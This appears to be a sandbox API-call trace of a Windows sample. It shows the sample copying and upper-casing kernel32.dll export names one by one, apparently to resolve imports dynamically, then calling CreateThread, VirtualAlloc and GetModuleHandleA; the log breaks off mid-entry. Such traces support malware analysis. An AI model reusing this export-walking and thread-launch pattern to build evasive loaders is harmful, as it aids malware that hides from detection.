[0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0083.371] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0083.371] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0083.371] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0083.371] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0083.372] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0083.372] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0083.372] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0083.372] lstrlenA (lpString="CHECKELEVATION") returned 14 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0083.372] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0083.372] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0083.372] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0083.372] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0083.372] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0083.372] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0083.372] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0083.372] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0083.372] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0083.372] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0083.372] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0083.372] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0083.372] lstrcpyA (in: lpString1=0x21feac0, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0083.373] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0083.373] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0083.373] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0083.373] lstrlenA (lpString="CLOSESTATE") returned 10 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0083.373] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0083.373] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0083.373] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0083.373] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0083.373] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0083.373] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0083.373] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0083.373] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0083.373] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0083.373] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0083.373] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0083.373] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0083.373] lstrcpyA (in: lpString1=0x21feac0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0083.373] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0083.374] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0083.374] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0083.374] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0083.374] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0083.374] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0083.374] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0083.374] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0083.374] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0083.374] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0083.374] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0083.374] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0083.374] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0083.374] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0083.374] lstrlenA (lpString="COPYCONTEXT") returned 11 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0083.374] lstrlenA (lpString="COPYFILE2") returned 9 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0083.374] lstrlenA (lpString="COPYFILEA") returned 9 [0083.374] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0083.375] lstrlenA (lpString="COPYFILEEXA") returned 11 [0083.375] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0083.375] lstrlenA (lpString="COPYFILEEXW") returned 11 [0083.375] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0083.375] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0083.480] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0083.480] lstrlenA (lpString="COPYFILEW") returned 9 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0083.480] lstrlenA (lpString="COPYLZFILE") returned 10 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0083.480] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0083.480] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0083.480] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0083.480] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0083.480] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0083.480] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0083.480] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0083.480] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0083.480] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0083.481] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0083.481] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0083.481] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0083.481] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0083.481] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0083.481] lstrlenA (lpString="CREATEEVENTA") returned 12 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0083.481] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0083.481] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0083.481] lstrlenA (lpString="CREATEEVENTW") returned 12 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0083.481] lstrlenA (lpString="CREATEFIBER") returned 11 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0083.481] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0083.481] lstrlenA (lpString="CREATEFILE2") returned 11 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0083.481] lstrlenA (lpString="CREATEFILEA") returned 11 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0083.481] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0083.481] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0083.481] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0083.481] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0083.482] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0083.482] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0083.482] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0083.482] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0083.482] lstrlenA (lpString="CREATEFILEW") returned 11 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0083.482] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0083.482] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0083.482] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0083.482] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0083.482] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0083.482] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0083.482] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0083.482] lstrlenA (lpString="CREATEJOBSET") returned 12 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0083.482] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0083.482] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0083.482] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0083.483] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0083.483] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0083.483] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0083.483] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0083.483] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0083.483] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0083.483] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0083.483] lstrlenA (lpString="CREATEPIPE") returned 10 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0083.483] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0083.483] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0083.483] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0083.483] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0083.483] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0083.483] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0083.483] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0083.483] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0083.484] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0083.484] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0083.484] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0083.484] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0083.484] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0083.484] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0083.484] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0083.484] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0083.484] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0083.484] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0083.484] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0083.484] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0083.484] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0083.484] lstrcpyA (in: lpString1=0x21feac0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0083.484] lstrlenA (lpString="CREATETHREAD") returned 12 [0083.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42f240, lpParameter=0x2b50000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0083.487] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0x2cc0000 [0083.487] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2cd0000 [0083.487] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2ce0000 [0083.488] lstrlenA (lpString="kernel32.dll") returned 12 [0083.488] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.488] lstrcpyA (in: lpString1=0x21f8ebc, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") 